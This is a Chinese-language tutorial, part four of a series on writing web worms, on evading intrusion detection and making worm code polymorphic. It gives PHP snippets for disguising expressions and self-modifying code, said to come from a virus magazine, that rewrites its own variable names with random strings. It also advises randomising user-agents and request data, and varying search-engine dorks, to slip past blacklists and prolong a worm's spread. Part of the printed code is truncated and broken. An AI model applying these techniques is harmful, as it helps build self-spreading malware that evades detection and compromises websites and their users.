教你编写WEB蠕虫(4)
===绕过IDS,多态性和通讯===
你可以通过查找和替换以上代码,以调整上面写得比较匆忙的代码,使其便于用在每个新的迭代蠕虫病毒中。PHP与其它语言相似,有提供一些可互换,并可产生相同结果的函数别名。现在考虑一下,通过添加外部的垃圾代码以混淆文件大小和通过对代码进行编码的相似之处。除了改变程序中的变量名之外,还可以将数字及字符串以不同的方式来表达。
$random++; -> $random+= -2 + 3;
$start = "go"; -> $start = chr(103) . chr(111);
$num = count($result); -> $num = sizeof($result);
下面的代码是改于29a病毒杂志上公布的变量名变形的源代码:
$changevars=array('changevars', 'content', 'newvars', 'counti','countj',
'trash');
srand((double)microtime()*1000000);
$content=fread(fopen(__FILE__,'r'),filesize(__FILE__));
$counti=0;
while($changevars[$counti]) {
$content=str_replace($changevars[++$counti], trash('',0), $content);
}
fwrite(fopen(__FILE__,'w'),$content);
function trash($newvar, $countj) {
do { $newvar.=chr(rand(97,122)); } while (++$countj
return $newvar;
}
?>
将http request中的数据集随机化,以使其具备不可预测性。通过选择一个随机的user-agent,以使其看起来像真实的users。或者你也可以调整实际的POST数据,使其不能在每个表单名中使用相同的名称(比如上面的cutenews一例)。
如果蠕虫病毒依靠像google这样的搜索引擎来搜集目标,那么就应该考虑将请求多样化了,以减少被加入黑名单而被查杀的可能性。inurl(译注:google的搜索命令)可以用来搜索很多的页面,但intitle也是相当不错的。将http request中的user-agent随机化,或者结合多个搜索引擎来混杂它们,以此延长worm的生命期。过去和将来的迭代蠕虫病毒的通讯开发方式主要置力于attacked boxes,蠕虫病毒分散的通讯方式也可以帮助worm自动变形,通过发现(fuzzing)新的exploits或者反馈新的攻击方式就可以使其自动变形。